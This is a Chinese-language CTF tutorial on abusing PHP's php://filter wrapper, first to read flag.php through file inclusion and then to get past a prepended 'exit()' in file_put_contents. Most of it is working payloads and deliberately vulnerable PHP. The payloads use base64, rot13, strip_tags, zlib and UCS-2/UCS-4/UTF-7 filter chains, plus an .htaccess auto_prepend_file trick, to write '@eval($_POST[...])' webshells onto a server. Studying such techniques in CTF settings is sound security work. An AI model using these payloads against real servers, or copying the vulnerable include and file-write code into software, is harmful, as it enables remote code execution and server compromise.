常规的php://filter过滤器:
php://filter
在ctf比赛中最常使用的就是base64伪协议,再者就是iconv。
- 如用base64读取flag.php文件:php://filter/read=convert.base64-encode/resource=flag.php
- iconv编码转换读取:php://filter/convert.iconv.utf-8.ucs-4/resource=flag.php
php
<?php
//index.php
include($_REQUEST['file']);
?>
php
<?php
//flag.php
$flag='flag{test_flag}';
?>
同过base64读取flag.php的类容:

通过filter死亡绕过exit():
一般的3中形式:
php
file_put_contents($filename , "<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content."\nzangShuju");
第一种形式的file_put_contents
1、base64编码绕过
php
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , "<?php exit();".$content);
?>
从代码可知,我们不论输入什么php的代码都会拼接到exit()后面,从而导致后面的任何语句都失效而无法执行。 而我们知道base64解码过程是按4个字符一起解码(对于不在base64编码类容里的那些特殊字符会自动忽略)。所有我们可以使用base64-decode来绕过。
比如我想插入的代码为<?php phpinfo()?>,经过base64编码后的类容为PD9waHAgcGhwaW5mbygpPz4=。
所有最终的payload就为:
php
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgcGhwaW5mbygpPz4=
其中在最前方加了一个a,因为phpexit为7个字符,为了满足4的倍数让base64正常解码,所有加了一个a。

成功写入 。
2、rot13编码绕过
我们都知道rot13其实就是位移13位的凯撒密码,如<?php phpinfo()?>经过rot13后变为<?cuc cucvasb()?>,所有我们可以利用这种性质来绕过exit()。
php
?filename=php://filter/string.rot13/resource=1.php&content=<?cuc cucvasb()?>

也是成功写入,能够运行。
3、string.strip_tags绕过
string.strip_tags能过过滤掉html标签<>及类容:
php
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php&content=?>PD9waHAgcGhwaW5mbygpPz4=
?>是为了闭合前面<,从而形成<>
注意:string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器
4、.htaccess预包含绕过
如果对方服务是运行在apache上,而不是php直接启动web服务,就可以运用此方法。
php
filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file flag.php
5、过滤器叠加绕过
由于在php7等环境无法使用string.strip_tags过滤器,我们则可以考虑使用过滤器进行叠加,使本来的功能性代码被破坏。
php
三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误,将我们的木马写入
filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=shell.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate?><?php%0a@eval($_POST['cmd']);?>
其中%0a还可以用%0d,%09等字符替换。

第二种形式的file_put_contents
1、rot13绕过
php
<?php
$filename="php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>
php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php
<?cuc cucvasb();?>为<?php phpinfo();?>

2、iconv编码绕过
利用iconv编码绕过,可以将一种编码变为另一种编码模式,在php中,iconv用法为:
iconv ( string in_charset , string out_charset , string $str ) : string
1、usc-2(对目标字符串进行2位一反转,需要偶数位)
php
<?php
echo iconv('UCS-2LE','UCS-2BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//>??<hp pe@av(l_$OPTS"[hslecldm]";)>?
$filename="php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_\$OPTS\"[hslecldm]\";)>?/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>
payload:
phpphp://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_$OPTS"[hslecldm]";)>?/resource=shell.php

2、usc-4(4位一反转,需要为4的倍数)
php
<?php
echo iconv('UCS-4LE','UCS-4BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)
$filename="php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs\"[clle]\"dm>?;)/resource=shellcmd.php";
file_put_contents($filename , "<?php exit();".$filename);
?>
payload:
phpphp://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)/resource=shellcmd.php
注意:在使用usc-2和usc-4时切记他们的倍数关系,不然会保存失败。
3、base64编码
php
<?php
$filename="php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>
如果直接按照这样编写,只会有文件名,但没有类容,因为在写入的内容中为:
<?php exit();php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php
其中有一个等号,会发生报错,因为在base64中=表示结束的意思。
使用string.strip_tags过滤器,用其特性过滤掉html标签,即,我们可以把=包含在<>标签里过滤掉。
php
php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+
但这样依旧有一个问题,就是保存的文件在服务器端会有一个'',导致游览器无法访问。
php
最终payload:
php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/../cmd.php
这样就会把内容保存在cmd.php文件中。
4、utf-8和utf-7间的转换
php
<?php
//echo iconv('UTF-8','UTF-7','=').'\n';
//生成的是+AD0-,可以将=号对base64解码造成的影响解决,在'='的后面是不允许有任何其他字符的否则会报错.
echo base64_encode('<?php @eval($_POST["shellcmd"]);?>')."\n";
//PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==
$filename="php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
echo iconv('UTF-8','UTF-7','<?php exit();php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php');
//+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg+AD0APQB8-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php
//其中+ADw?php exit()+ADs-php://filter/write+AD0- 刚好满足base64的倍数
?>
payload:
phpphp://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php
